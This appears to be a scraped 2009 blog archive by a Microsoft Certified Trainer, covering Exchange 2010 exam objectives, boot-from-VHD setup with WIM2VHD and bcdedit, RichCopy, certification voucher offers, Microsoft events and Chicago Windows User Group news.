• Create and configure databases.
  • This objective may include but is not limited to: set database limits; set retention limits; set role-based access control (RBAC) permissions for database creation; naming conventions; create and use GUI and Windows PowerShell; create and manage public folder databases; set default public folder database; maintenance; mount and dismount databases; create new mailbox databases; configure mailbox database settings; move the mailbox database and transaction log locations; configure public folder database settings; mount and dismount databases
• Create and configure address lists.
  • This objective may include but is not limited to: update legacy address lists; configure offline address lists; publish address lists; filterable properties; creating and configuring e-mail address policies; creating and configuring address lists; creating and configuring offline address books

Configuring Exchange Recipients and Public Folders (14 percent)

• Create and configure mailboxes.
  • This objective may include but is not limited to: deleted items; deleted mailbox; mailbox quota; message size; warning thresholds; move from and to previous Exchange versions; online and offline moves; intra-orgs and cross-orgs; create proxy addresses; create mailboxes; configure client access protocols; configure spam confidence level (SCL) and phishing confidence level (PCL); send as permissions; delegation; forwarding; mailbox permissions; create and configure linked mailboxes
• Configure RBAC.
  • This objective may include but is not limited to: create and assign RBAC roles; define RBAC scopes; configure RBAC for specific roles, such as help desk and address list administrator

• Create and configure resource mailboxes and shared mailboxes.

  • This objective may include but is not limited to: equipment; room; permissions; set mailbox calendaring options; autoaccept; custom resource types
• Create and configure recipients and distribution groups.
  • This objective may include but is not limited to: create and modify; security enabled; configure moderation, including Exchange Control Panel (ECP) options; dynamic distribution groups; create proxy addresses; configure mail-enabled users; contacts; send as permissions; forwarding
• Create and configure public folders.
  • This objective may include but is not limited to: mail-enabled public folders; configure public folder permissions; deleted items; message size; item age; public folder size; create public folders in Enterprise Content Management (EMC) and Microsoft Outlook, and OWA; configure public folder permissions; configure public folder limits

Configuring Client Access (15 percent)

• Configure POP, IMAP, and Microsoft ActiveSync.
  • This objective may include but is not limited to: enable, configure, and secure POP and IMAP; manage certificates; configure mobile device policies; autodiscover; authentication; configure the Exchange ActiveSync virtual directory; configure the external name for Exchange ActiveSync; configure client access settings for Exchange ActiveSync, including Windows SharePoint Services and Windows File Share integration; Direct Push; configure Exchange ActiveSync mailbox policies; configure autodiscover for Exchange ActiveSync
• Configure Outlook Anywhere and RPC Client Access.
  • This objective may include but is not limited to: autodiscover; MAPI; create client access arrays; certificates; subject alternative name (SAN); configure virtual directories; enable and configure Outlook Anywhere on the CAS; troubleshoot Outlook Anywhere connectivity

• Configure federated sharing.

  • This objective may include but is not limited to: certificates; enrollment; DNS; calendar and free/busy; subject alternative name (SAN); assign policies; create and configure a federated trust; create and configure a federated organization identifier; create and configure a sharing relationship; create and configure a sharing policy; assign sharing policies to user accounts
• Configure Outlook Web Access (OWA).
  • This objective may include but is not limited to: customize the OWA interface; certificates; file share and SharePoint access; public folders; verify multi-browser support; ECP; SAN; configure virtual directories; coexistence scenarios; authentication; configure the external name for OWA; configure client access settings for OWA, including Windows SharePoint Services and Windows File Share integration; segmentation settings; configure OWA mailbox policies

Configuring Message Transport (15 percent)

• Create and configure transport rules.
  • This objective may include but is not limited to: enable and configure; disclaimers; moderated transport; install the Windows Rights Management Services (RMS) pre-licensing agent; configure rights protection by using transport rules
• Configure hub transport.
  • This objective may include but is not limited to: configure transport dumpster; accepted domains; remote domains; authoritative domains; e-mail address policies
• Configure Edge transport.
  • This objective may include but is not limited to: create, configure, and test Edge Sync; configure Edge Transport server cloning; install the Edge Transport server role; configure Edge Transport server settings; configure Edge synchronization
• Configure message routing.
  • This objective may include but is not limited to: internal and external DNS; configure routing based on sites and costs; enable, configure, and secure send and receive connectors; certificates; relay connectors; authentication; message size limits; MTLS; routing group connector for coexistence; configure accepted and remote domains; configure SMTP send and receive connectors; configure message delivery limits; configure TLS security for message delivery

Monitoring and Reporting (13 percent)

• Monitor databases.
  • This objective may include but is not limited to: public folder statistics; mailbox databases statistics; database status; DAG replication
• Monitor mail flow.
  • This objective may include but is not limited to: perform message tracking; DNS; manage message queues; view, retry, and delete; backpressure thresholds; resolve NDRs
• Monitor connectivity.
  • This objective may include but is not limited to: SMTP client to server; SMTP server to server; Outlook RPC/MAPI; Outlook Anywhere; Outlook Exchange Web Services (EWS); POP; IMAP; ActiveSync
• Generate reports.
  • This objective may include but is not limited to: mailbox folder statistics; mailbox statistics; mailflow statistics; formatted list and formatted table; ExBPA
• Configure logging.
  • This objective may include but is not limited to: protocol logging; store logging; configure logging levels; agent logs; message tracking logs; event logs; analysis of logging results

Implementing High Availability and Recovery (15 percent)

• Create and configure the Database Availability Group (DAG).
  • This objective may include but is not limited to: create and configure DAG; file share witness (FSW); replication latency; configure lag; add or remove database copies; configure failover priority; add or remove server members; configure mailbox database copies; manage continuous replication
• Perform backup and restore of data.
  • This objective may include but is not limited to: recovery database; dialtone restores; deleted mailbox retention; deleted item retention; mailbox merge; disconnected mailbox; backing up Exchange servers; creating a backup schedule
• Configure public folders for high availability.
  • This objective may include but is not limited to: add or remove replicas; schedules; message tracking; back up and restore public folder database and data
• Configure high availability for non-mailbox servers.
  • This objective may include but is not limited to: affinity; DNS round robin; MX records; NLB; configuring high availability for Client Access servers; configuring high availability for Hub Transport servers; configuring high availability for Edge Transport servers
• Back up and recover server roles.
  • This objective may include but is not limited to: hub; CAS IIS; Edge; Edge server clone configuration; setup /recoverserver; setup /recoverCMS; mailbox server; restoring Exchange Servers after server failure; configuring messaging services during a server failure; back up Server roles

Configuring Message Compliance and Security (13 percent)

• Configure records management.
  • This objective may include but is not limited to: custom and default managed folders; retention policy; configure and apply retention policies and retention policy tags; configure managed folders, including default and custom managed folders; configure content settings; configure managed folder mailbox policies
• Configure compliance.
  • This objective may include but is not limited to: configure RMS; configure alternate mailboxes; configure journaling; enable message classification; configure mail tips; auditing; transport rules
• Configure message integrity.
  • This objective may include but is not limited to: S/MIME; MTLS; certificates; RMS federation; transport rules
• Configure anti-virus and anti-spam.
  • This objective may include but is not limited to: file and process exclusions; transport rules; SCL; PCL; sender ID; safe sender/block sender; Realtime Block List (RBL); Sender Policy Framework (SPF) records; sender reputation list (SRL); configuring anti-spam agents; managing the quarantine mailbox; managing updates for content filters

Preparation Materials:

To help you prepare for this exam, Microsoft Learning recommends that you have hands-on experience with the product and that you use the following training resources. These training resources do not necessarily cover all of the topics listed in the "Skills Measured" tab.

Classroom Training

• 10135A: Configuring, Managing and Troubleshooting Microsoft® Exchange Server 2010 (5 Days)

Microsoft E-LearningThere is no Microsoft E-Learning training currently available.

Microsoft Press BooksThere are no Microsoft Press books currently available.

Practice TestsThere are no practice tests currently available.

Yea, it’s true – you’re on your own at this point (as of mid-august!) but as things develop and move forward I’m sure we’ll see some real action and traction!

I don’t know about you, but I will be taking this exam, whether in beta, release or both – and as always you can expect a post-mortem later around it (with the strictest confidence in not releasing anything telling of the exam [My promise to you Liberty ;)]   So look forward to that, and be sure to get yourself involved out there to partake in this with your SME Profile!

It will formally go by the name: Exam 70-659, TS: Windows Server 2008 R2, Server Virtualization, which is frankly pretty sweet!   So if you’re an expert, I suggest you update your SME profile and get yourself in the running for setting the pace of the futures!

You can find similar information and how to get an SME profile via this post from the other day, Exchange 2010 Beta Exams are calling you! Update your SME Profile today!

However, for the ‘clicking impaired’ feel free to follow these steps!

• Visit the Connect Home Page
• Click on “Were you invited to join Connect?”
• Put this invitation code into the box: SME2-JC3G-DKDY
• Fill out the survey/profile

Wow, it’s that easy!

Step 1. Visit this MSL Post to get the highlights (thanks Krista Wall!) Exchange 2010 beta exams coming soon—submit your SME profile now!

Step 2. Visit this second MSL Post in order to get the details about the SME Profile on connect! One word, rhymes with sneeze—Sign me up!

Step 3. Alright, I didn’t follow steps 1 or 2 because I don’t like clicking links so I want to go directly to setting up my SME Profile on Connect

• Visit the Connect Home Page
• Click on “Were you invited to join Connect?”
• Put this invitation code into the box: SME2-JC3G-DKDY
• Fill out the survey/profile
• You’re set and on your way to being the part of this beta and other future betas! Yay?!

So, the keys are in your hands – So step up and be a part of the future of the Exchange 2010 exams… or sit on the sidelines waiting until its released in final form in a million years!

I ran a number of very small file copies (<4k file size files) in the 15,000 to 90,000 file range and got the following results!

The specific items I want to call out here are – when doing a single threaded copy (such as the CIFS job which took 57:16 – well, frankly that is as close to a ‘robocopy’ or ‘xcopy’ we’d get and when you compare it to slightly increasing the number of simultaneous threads – OMFG look at the results! Cut down by a lot of the time! Imagine if that were your production data migration – Cutting that seriously by 1/6th or even more depending upon the workload! The same can be said if you have ‘changed’ data that it is looking to update only the changed blocks.  So much potential!  This particular host was a slooooow VM which can somewhat explain why in general it was slow.  However the slowness is reflective across the board, so the 1/6th speed improvement is likely to be the same if not better in any other situation or circumstance! 

I definitely encourage checking it out, as well as the numerous advanced features this tool offers.

These advanced features… I’m going to discuss in a few moments as well ;)

For those of you who are new to RichCopy – Honestly you can get by with the simplest of actions by simply modifying your thread numbers.  But if you want to get into the special details of it, let me reveal to you a number of VERY cool functions and features.  Oh and might I add, ADVANCED features that let you take it up a notch, not to mention the amazing HELP file too!

Starting with the mothership of all functions! The Advanced option! Which enables a whole series of new options enabled when you go to your File Copy options!

The Process Control lets you really dive down into some functions such as your cache sizes and more! Really quite cool.  Though frankly as I jump to the “Others” section, one of the coolest features if the fact that when you modify your options in the GUI, you are presented with your CLI parameters!

Though don’t get me wrong, File Attributes, Error handling, inclusion and exclusions, FTP and other things themselves –are- quite cool!

Though hands down, the most important part of this tool is the fact that it EXISTS, it is FREE and it is fricking COOL!   So, there’s no reason to sit idly by paying for SecureCopy, or watching your serial operations SLOWLY move by as you migrate data! Get out there, and play around with RichCopy today! It’ll make you wish you had this tool for the past 10 years like MS had!

So, I was talking with someone recently and noticed they had an SD card sticking in the SD slot on these Lenovo Laptops.    Specifically noticing that I asked him about it to which he replied, that he leveraged that to improve performance by utilizing ReadyBoost! I thought to myself “Wow, that’s a great idea, since it’s just a slot taking up space and often not being used! Why not do this myself!”   So I started offloading my data from this device and then while waiting for it to finish I impatiently went and checked my details for kicking off ReadyBoost and lo and behold, I get this image!    For those of you who know me, you know that I run my Lenovo T61p with Win7 and 2008R2Ent from BootfromVHD images which reside on an SSD.

Apparently, My SSD is so fast (even though it’s running from a VHD) that I cannot gain value from ReadyBoost!

Frankly, that’s pretty damn cool from where I’m standing! :)

TechNet & MSDN Events Present: Real World Azure with Microsoft IT

Come spend a day with us to explore Windows Azure, Microsoft’s platform for building and deploying cloud based applications from a real world point of view!  During this event, we’ll review critical lessons Microsoft IT has learned migrating internal line-of-business applications to Windows Azure.

What is Windows Azure™? When should I use it? How does it apply to my job?  Whether you’re an IT Professional, Developer or Architect, we’ll address your top of mind questions about cloud computing.

TechNet Presents – for the IT Professional from 8:30am to Noon

• Azure architecture from the IT professional’s point of view
• Why an IT operations team would want to pursue Azure as an extension to the data center
• Configuration, deployment and scaling Azure-based application
• The Azure roles (web, web service and worker)
• Azure storage options
• Azure security and identity options
• How Azure-based applications can be integrated with on-premise applications
• How operations teams can manage and monitor Azure-based applications

Dates and Locations Registration Link

August 18, 2009 Columbus, OH
August 19, 2009 Mason, OH
August 19, 2009 Downers Grove, IL
August 20, 2009 Indianapolis, IN
August 20, 2009 Dallas, TX
September 16, 2009 Grand Rapids, MI
September 17, 2009 Southfield, MI
September 17, 2009 Overland Park, KS
September 17, 2009 Houston, TX
September 22, 2009 Bloomington, MN
September 22, 2009 Cleveland, OH
September 24, 2009 Waukesha, WI
September 24, 2009 Austin, TX
September 29, 2009 St. Louis, MO
September 29, 2009 Nashville, TN
September 30, 2009 Knoxville, TN
October 1, 2009 Chicago, IL

And don’t forget, the second half of the day at each location is developer focused.  Here’s the general description of the MSDN sessions in the afternoon.

MSDN Presents – for the Developer & Architect from 1:00pm to 5:00pm

In this session, we will discuss:

• Cloud computing architectures in general and the Azure architecture in particular
• Several aspects of Azure from the developer’s and architect’s perspective
• Azure roles (web, web service and worker)
• Azure storage options
• Azure security and identity options
• How Azure-based applications can be integrated with on-premise applications
• Configuration, deployment and scaling Azure-based applications
• How development teams can optimize their applications for better management and monitoring

So, what is this amazing tool?!  It’s free first of all! And allows you even more granular control over your copy processes, including multi-threaded copy operations!

As you can see here in this image, I’m copying a number of various sized files in different locations simultaneously!    Though one of the major perks is not in the initial copy, but instead in the situation of changed file copies (in our common “what’s changed incremental” model? :) Well, notes about that, taken verbatim from Ken’s blog show:

Hands down, one of the coolest things is the level of options you can set.

The specific options I’d like to highlight are number of threads you can assign to specific operations.  That way you can increase not only the number of directories you traverse looking for files (or changed files) but also the number of files you can copy simultaneously!  This is a lifesaver when you’re copying many small files which when operating sequentially tends to take a lifetime!

I did run a number of speed tests on my machine, however speeds when run from my SSD tend to suffer, compared to if I were copying from say, one SAN to another SAN (something more realistic especially in a migration scenario)

In any sense, it’s a great tool, which operates via CLI or GUI and I’ll be sure to use or introduce it into my future migration opportunities as applicable :) Oh and be sure to click on any instance of “RichCopy” in this post in order to get a direct link to its download! :)

re: Serious Twitter Outage Ongoing, Denial Of Service Attack (Updated)

What really affected me in this outrage are all the poor countless souls who lost their lives as a result of this dramatic service outage.

Yes, you know what I’m talking about.  

All the poor helpless plants which expect their owners to water them when they tweet.   What if you were on life support and the only means of informing a nurse you needed food, antibiotics or pain reducers was twitter? YOU’D BE DEAD TOO!

Next time you think about Twitter, it’s more than just a communication medium.  It is a lifeline for the very beings who provide us clean oxygen in this world! My Oak Tree out front twitters me regularly, though he keeps retweeting Guy Kawasaki so I’m not sure what’s up with that!

Seriously though, the number of users of the Windows Mobile devices out there is still pretty significant, so jump on this dev opportunity to get your apps deployed, released and win some pretty seriously cool things! (I touch a Surface table every now and then and they’re wild! I’d take one for home! ;))

All the major highlight links are – Register today and start uploading, Race to Market Challenge, Submit your Apps, http://developer.windowsmobile.com, and don’t forget to Learn more about this special offer :)

So check it out, I know a bunch of you are appdev folks, so get rolling! :)

Hey, you remember the bus! Well, the locations have been published! Which is especially great if you’re a number of destinations along the path you will want to hook up and meet the bus along the way!

• Milan, 26 Oct
• Zurich, 27 Oct
• Paris, 28 Oct
• London, 29 Oct
• Brussels, 30 Oct
• Amsterdam, 2 Nov
• Frankfurt, 3 Nov
• Munich, 4 Nov
• Vienna, 5 Nov
• Prague, 6 Nov
• Berlin, 9 Nov

Host a Career Express and/or a TechEd EMEA community event!

The best part of the tour are the local stops the Career Express makes at training partners and community events. On the Career Express USA tour in May, we stopped at a luau thrown by a partner, high schools, and colleges. What do you get when you host an event?

1) Company profile promoted on Get On The Bus Tour website

2) Event resources to facilitate local event in your area as part of Get On The Bus Tour stop

3) Increased visibility with TechEd EMEA registrants and/or attendees

4) Technical training on Microsoft Windows 7, Microsoft Windows Server 2008 R2, and Microsoft Exchange Server 2010

If you would like to host a local event, we are taking applications until August 18. For more details, download the application form here: Bus Tour EMEA Event Application Form

Why yes, much of this was hijacked from Born to Learn, but hey! I had a lot invested in that trip and I equally want to see this one be successful! So get out there! Be a hosting location, or visit one of the hosting locations, it’ll be an experience unlike no other!

Well, in these past posts, I discussed that there were a finite number of countries whereby the 20% off discount would apply.  I did have a spreadsheet I generated and kept on hand.. but instead of sharing the entire spreadsheet I’m only going to include the countries which *today* offer the 20% off discount before they all fall into 10% only discounts.  The important lesson here is: If you live in one of these countries where 20% is available, let me know and I’ll be sure to get you the 20% off voucher before we all lose it forever!

That’s right! If you live, test and certify in one of these countries above, let me know and I’ll be sure to get you some vouchers! You must let me know before August 27th though, or else I’ll only be able generate 10% vouchers after that point!   And yes I will be generating SOME vouchers to keep on hand for these countries just incase, but it’s better to be safe than sorry and ensure you’re all taken care of!

So, what does RTM weekend entail for me?  Testing was the first ground.   Testing installations on my hardware, and getting a feel for how I’ll architect my deployment model for Win7 and 2008R2!

First things first – Create bootable VHD Images to run my OS out of.    Yes, I planned to deploy my systems via Boot from VHD, so I needed to create bootable images! And for this little decision, I opted to take advantage of WIM2VHD! So, what exactly is WIM2VHD?  Well, that’s pretty simple to explain!

The Windows(R) Image to Virtual Hard Disk (WIM2VHD) command-line tool allows you to create sysprepped VHD images from any Windows 7 installation source. VHDs created by WIM2VHD will boot directly to the Out Of Box Experience, ready for your first-use customizations. You can also automate the OOBE by supplying your own unattend.xml file, making the possibilities limitless.
Fresh squeezed, organically grown, free-range VHDs – just like Mom used to make – that work with Virtual PC, Virtual Server, Microsoft Hyper-V, and Windows 7’s new Native VHD-Boot functionality!

All you need in order to be successful with WIM2VHD is:

• A computer running one of the following Windows operating systems:
  • Windows 7 Beta or RC (or RTM)
  • Windows Server 2008 R2 Beta or RC (or RTM)
  • Windows Server 2008 with Hyper-V RTM enabled (x64 only)
• The Windows 7 RC Automated Installation Kit (AIK) or Windows OEM Pre-Installation Kit (OPK) installed.
• A Windows 7 or Windows Server 2008 R2 installation source, or another Windows image captured to a .WIM file.

Then, simply execute a command like I did below and you’re moving along!

Create a bootable VHD of Windows 7 Ultimate
cscript WIM2VHD.WSF /wim:D:\sources\install.wim /sku:ultimate /VHD:C:\vhd\win7ult.vhd

Create a bootable VHD of Windows Server 2008 R2 Enterprise
cscript WIM2VHD.WSF /wim:D:\sources\install.wim /sku:serverenterprise /VHD:C:\vhd\R2Ent.vhd

This frankly takes care of most of the work on your  behalf! (Sure did for me!)

FYI: The image defaults to 40gb, so if you want to change that, use this flag /size:<vhdSizeInMb>

After this point all you need to do is bcdedit and make the system bootable and you’re set!

bcdedit /copy {current} /d “New VHD Description”
    bcdedit /copy {current} /d “Windows 7 Ultimate”
bcdedit /set <guid> device vhd=[driveletter:]\<directory>\<vhd filename>
    bcdedit /set {GUID} device vhd=[c:]\vhd\win7ult.vhd
bcdedit /set <guid> osdevice vhd=[driverletter:]\<directory>\<vhd filename>
    bcdedit /set {GUID} osdevice vhd=[c:]\vhd\win7ult.vhd
bcdedit /set <guid> detecthal on
    bcdedit /set {GUID} detecthal on

And you can perform those same exact steps again for your 2008 R2 VHD as well.   It’s not only pretty straight forward, but it’s so simple anyone can do it! After performing those steps I was up and running on a system which had no data, nothing, notta!

Now, to apply some context and depth to how I chose to use my deployment model.  I’m running on my personal Lenovo T61p, which I have a Kingston 128GB SSD disk inside of.   Because I wanted to have ‘some’ kind of Native OS in order to help work on anything should something go wrong, I opted for a 2008 Server R2 Enterprise (Core) installation.  That gives me a minimal foot print, yet an OS I can feel comfortable and confident in being able to work on and with!  

What this enables is my NOS which runs on the “C:” drive, and has a VHD directory where my images live.  However, when I’m booted into either of my BootFromVHD OS’s on here, the native SSD becomes the “D:” drive whereby I can share files between the two systems!   However, if you forget to copy something to the shared volume and need to access it, feel free to use the mount VHD feature in the Disk Management tool (or Storage in 2008)

I personally prefer to mount it read-only because… I don’t want to take any risks, especially when it comes to “Anti-Virus” or other things. (Unless that is my specific intention)

Now that you have a working and operational system you’re good to go! And if you stick with a NativeOS for Maintenance reasons, you can use it to take hard backups of your VHD’s for migration to other hardware or general recovery to other points in time! (note: You can backup the un-used OS from your active OS if you’d like as well :))

So, hope you have a good RTM weekend coming up, I look forward to being able to generate and use my license keys come August 6th!

Certification and MeasureUp Discounts 20% off Certs! 

Getting Microsoft Certified in the United Arab Emirates!

Unfortunately, there will be some change on the horizon! That 20% will soon become 10% for all vouchers generated after August 27th, 2009!  Fortunately, all vouchers generated BEFORE August 27th, 2009 will still be eligible for their original discount (Which is great for England, US and other 20% off countries! :))

I’ll generate a number of vouchers to have on hand as applicable, which I’ll definitely take care of for England and the US, and if you have any other countries you want vouchers for… let me know and I’ll be sure to keep them on hand! :)

Well, there is one misfortune of Safari and it’s ability to actually recognize that I selected ‘u’ and scrolled down to United States – End result? I’ve generated a WHOLE bunch of vouchers for the United Arab Emirates! So if you’re in the United Arab Emirates and are looking for Microsoft Exam Certification discounts (The UAE discount is 10% off) but that’s better than full price!

Let me know and I’ll get you vouchers, and then we all win as you test and pay less!

So, Microsoft certifiers in the UAE! Come on down, let me know! email, comment, message on twitter, whichever! :)

I’m now able to take advantage of this special promotion for MCT’s which allows me to share discount vouchers with you! Discount vouchers to the tune of 10% to 20% off on Certification exams (depending upon the country)

All you need to do is let me know you want a voucher, provide an email address and country (and number of vouchers you’re looking to use) and I can supply that to you! You can reach me on Twitter @cxi, here by a comment, or sending me an email

You have no idea how excited I am to have this opportunity to share with you, so lets take advantage of it, I know I will :)  Below are the details and a brief look at what is available.

This voucher is redeemable for one Microsoft Certification Exam delivered at an Authorized Prometric Testing Center™. This voucher expires June 30, 2010. You must take your Microsoft Certification Exam prior to this date

Why you should get certified                                                     Learn more

When you earn a Microsoft Certification, you are demonstrating your knowledge and skills with Microsoft products and technologies, while validating real-world skills and job-related experiences that are used every day. Whether you are new to technology, changing jobs, or a seasoned IT professional, becoming certified helps you prove to peers and employers that you are committed to advancing your skills and that you are a candidate for new opportunities and career growth. Plus, as a Microsoft Certified Professional, you’ll have access to a vibrant, worldwide community of other certified professionals.

Save 40% on a 60 Day Online MeasureUp Practice Test      Learn more

You’ve made a great decision to certify your training and experience. Now make sure you are ready to pass the exam using a MeasureUp Practice Test. MeasureUp Practice Tests questions are written by subject matter experts and designed to test the concepts presented in the actual exam. Performance-based simulations are included in some practice tests as an additional test of the student’s capabilities.

Save 40% now using your voucher number and prepare for certification success.

¹ 2006 MCP Customer Satisfaction Survey • ² Redmond Magazine’s 2006 survey of compensation for Microsoft IT professionals • ³ IDC Study: Value of Certification: Team Certification and Organizational Performance, Nov 2006 •This voucher may not be combined with other vouchers and discounts. It is no longer valid after the expiration date; This voucher is nontransferable and is void if altered or revised in any way. It may not be redeemed for cash, credit, or refund and may only be applied towards Microsoft Certification exams. Microsoft ,Prometric™ and Authorized Prometric Testing Centers™ are not responsible for vouchers that are lost or stolen. Any resale of this voucher is expressly prohibited. Microsoft is a registered trademark of Microsoft Corporation in the U.S. and other countries. Prometric and the Prometric logo are registered trademarks or trademarks of Prometric and its affiliated companies.

The fine print:

* Only MCTs can request MCT Rewards Discount Vouchers. You can offer MCT Rewards Discount Vouchers to students who have attended one of your instructor-led classes or one of your colleagues’ classes. You can also offer discount vouchers to people who you reach through your personal network or through your blog, website etc. These vouchers will be personalized and will include your name as the trainer that provided the discount voucher and you will receive points for each redeemed voucher. Please note that MCT Rewards Discount Vouchers may not be resold. Discounts may vary by country. For a list of discounts by country, (let me know ;))

*Heavy Breathing* Ken, I am your father, err, Sorry about that.. but welcome back the BUS, Euro-style!

That’s right! For those of you who missed it the first time, this time it’s back, and more euro than ever!   But what does this mean?

Oh, I have no idea! But my thoughts are, a rocking cross-multi-country bus tour across Europe which if you knew about the first tour at all… should ROCK!   More details will come as I find out about them!

Watch this page for updates, and find out how you can join us on the bus for a free trip to TechEd Europe! Oh, and watch my blog for my take on things too!

And my good friend Rick Scherer has said:

Windows 7 and Windows 2008 R2 have been RTM

The Windows Blog has said this:

Windows 7 Has Been Released to Manufacturing

While the Windows Server blog has said:

WINDOWS SERVER 2008 R2 REACHES THE RTM MILESTONE!

So what does this mean? Well, here is a little caption borrowed from the Windows Blogs

The RTM code will be delivered to our partners within the next few days who will then start preparing to deliver some amazing new products timed to hit at General Availability (GA) of Windows 7 on October 22nd. And going forward, I expect to be showcasing MANY of these new products here on The Windows Blog.

What does this mean for me? As soon as it hits TechNet (hopefully in the next 7 days) I’ll be reloading my production machine I use 99% of the time with Win7, using my SSD drive.  Oh, did I mention Booyah? yea!

*Update!* Word on the street is, TechNet subscribers get it on August 7th.. so there we go!

Press Release: Microsoft Releases Windows 7 and Windows Server 2008 R2

Well, inspired by my good friend Louis Gray in his post: How I Stopped Worrying About Powering Up My iPhone 3G I’m writing this because I wanted to make sure those who missed this absolutely amazing-ness, don’t miss it!

This is something I’ve been looking for from Apple for some time, but I never got around to actually trying to search or solve my problem – and now.. now I have, especially as I tend to charge my phone 3-4 times a day from use (Can you say omfg power user? ;))

Our good friends at Mophie bring us the Juice Pack and the Juice Pack Air!  Not only do they double as power enhancing batteries but they also provide a case for you to use! Considering the scratches on my iPhone and my eventual need to get a case (not to mention how my phone partly cuts into me in its sharp bits… Well, there you go, killing two birds, one apple!)

To add to it, they even have a special twitter promotion available, whereby tweeting something about them, following them – will enter you into a chance to win their Juice Pack Air! a $79.99 value.. I’ll take free!

Incase also happens to offer something they call a “Power Slider” but frankly if you look at their website you may have a pain of a time trying to find it as it’s not really elevated to the surface in its ease of finding (Had to search to find it, and even then it wasn’t so intuitive) Which is likely why Louis and others have to resort to looking for it on Amazon like here Incase Power Slider for iPhone 3G – Black (EC20003).

Now while I personally like the look of the back of this particular device with the little lights as you can see in this image above – I frankly am liking more and more the Mophie Juice pack units already mentioned.   But feel pride in knowing when you have a constantly dying iPhone, don’t worry about changing your habits as much when you can rely upon an additional power source to aide in whatever you do!  So get out there and get yourself some Apple Juice!

Act Now! 25 Percent Discount on Microsoft Press E-Reference Libraries
The Microsoft Press E-Reference Libraries are a premium online collection of Microsoft Press books, along with a powerful search tool to quickly find the answer, code snippet, or troubleshooting tip that you need. Customize your library with your own bookmarks and notes, and download selected chapters for offline reading. All libraries are a 12-month subscription service.
There are four E-Reference Libraries:

• Complete Library Content from Microsoft Press books across Microsoft products and technologies, as well as a wide variety of audiences and levels. More than 600 books are included. Promotional price: $187.50.

Discount code: EREFCOMPLETEC

• IT Professional Library Focused on network and system administration topics with over 100 books included. Leading series such as Resource Kit, Administrator’s Companion, Administrator’s Pocket Consultant, and more. Promotional price: $112.50.

Discount code:EREFPROC

• Developer Library Content from over 100 books on programming/software development, architecture, testing, security, and other topics. Also includes highly acclaimed expert authors such as Steve McConnell, Charles Petzold, Michael Howard, Dino Esposito, and others. Promotional price: $112.50.

Discount code: EREFDEVC

• Desktop Library Focused on topics for business and home users: Office applications, the Windows client operating system, and general business skills. Includes content from over 80 titles, and includes top series such as Step by Step, Inside Out, and Plain and Simple. Promotional price: $37.50.

Discount code: EREFDESKC

Use the promotional codes above to receive your 25 percent discount when purchasing the library(ies) of your choice. Go to http://www.microsoft.com/learning/books/ereference to take advantage of this offer. To learn more about what the E-Reference Library can do for you, check out the demo.
Offer ends on Thursday, July 23, 2009—so act now!

But I know what a lot of you are saying.. Who is Project Natal?!

Why, it’s only the coolest thing to hit interactive gaming… since, interactive gaming?!

But seriously! It takes all the effort things like the Wii and dance pads have done, and stepped it up a serious level.  Check out this Video for further insight into why you want to go rock it out with Project Natal!

Project Natal takes gaming to a new level, leaving the remote on the table and your experience in your hands!

1.  We have a new way to collaborate http://cwug.groups.live.com sign up today. 

2.  We are changing the meeting formats. 

3.  Introducing Birds of a Feather sessions. 

Read the rest for all the juicy details.

Starting this July, we’re going to go all in by connecting participants based upon Windows Live IDs.  This enables a lot more collaboration and networking even outside of our in person meetings.  To sign up for the new Windows Live Group site please visit http://cwug.groups.live.com  This is a continuation of our facebook, portal, web presence, live mesh and twitter sites.  Think of this new site, and the main repository of CWUG information.  24X7 collaboration opportunities.  Those who collab more will be rewarded ;)

http://twitter.com/cwug

http://www.facebook.com/group.php?gid=4397556247

http://portal.cwug.net

CWUG Live Mesh with boot from VHD instructions:  email drey@microsoft.com

The other big change is with our meetings.  We are changing our format based on feedback from our members, sponsors and board.  Starting this month we will have 2 types of meetings.  The first is a consumer broad interest meeting which will be focused Windows in the home or hobbyist.  The second is a meeting focused on enterprise customers.  This meeting will be focused on business customers who run Windows as their desktop and server OS.  Our schedule will be as follows :

Consumer Space meetings will be held on odd months in Downers Grove. 

Our Enterprise meetings will be held on even months at the Chicago Microsoft Technology Center. 

We would like to be clear, anyone is welcome to attend any meeting based on interests.  In fact, we feel that we will be able to offer something for everyone no matter what your role or purpose with Windows is.  We will also be branching off and eventually holding/hosting consumer meetings downtown and enterprise meetings in Downers Grove.  Let us work out the kinks in this new system before we do that.

We will also offer 2 birds of a feather meeting slots at each meeting.  What is a birds of a feather (BOF) session? BOF is where a member or partner will host a side meeting during our regular meetings.  You can sign up for these on first come first serve basis.  You want to geek out and talk about clusters, PKI, Home Automation or what ever else you want to collaborate with some of the brightest minds around?  Well that is what a birds of a feather session is.  You own it, you drive attendance, you do everything but we set up the location for you.  Birds of a feather session can be presentation, discussion, meditation; we do not care, just make it cool and try to drive value for your self and the rest of the community.  Email Robert Nottoli (robnotto@microsoft.com) to sign up or additional information.  These will be rated and published!

Here are our next 2 meetings and third quarter volunteer/non profit/fund raising opportunity:

July 16th
Consumer Focused:  3025 Highland Ave, Suite 300, Downers Grove Il
http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032420958&Culture=en-US
5:00 to 6:00 Food Networking
6::00 to 7:15 Home Automation using Windows technologies. 
7:30 to 8:45 Windows Live portfolio of Software as Service
8:45 to 9:00 Wrap Up
We will also have a Ford Sync on hand to demonstrate this cool Windows technology.
CWUG will also be raffling away a Starter Home Automation Kit.
Birds of a Feather meeting #1:  Open
Birds of a Feather meeting #2: Open

August 20th
Enterprise Focused:  200 West Randolph Suite 200, Chicago
http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032420966&Culture=en-US
12:30 to 1:30 Lunch – bring your own.  We will supply beverages and cookies
1:30 to 2:45 Power Shell 2.0 for technology users
3:00 to 4:15 Windows 7 deep dive for technology professionals-How to get ready and deploy Windows 7 for business users
4:15 to 4:30 wrap up

Saturday August 1st

We are inviting CWUG members, family and friends for the 2^nd annual Team Microsoft CowaLUNGa Bike Tour

http://my.imisfriendraising.com/TeamPage.aspx?teamID=32552&LangPref=en-CA

In closing it is an exciting time to come out and become a part of the Chicago Windows User Group again, Windows 7 and Windows Server 2008 R2 are shipping and we are stepping up our community effort to better serve our members and community.  There are also a ton of opportunities to help the user group and community out, contact Robert Nottoli (robnotto@microsoft.com) if you have any ideas or you would like to get involved.

Thanks to Mike Mulcare for announcing this on born to learn!

So, what exactly is SnackBox?

Welcome to SnackBox

Learning Snacks are short, interactive learning presentations about Microsoft technologies and include various media, such as animations and recorded demos. Are you an expert? Be part of this growing and vibrant community – create your own Learning Snack and share it with the world here!

Well, that’s a verbatim explanation taken from the site, but what does that really mean?

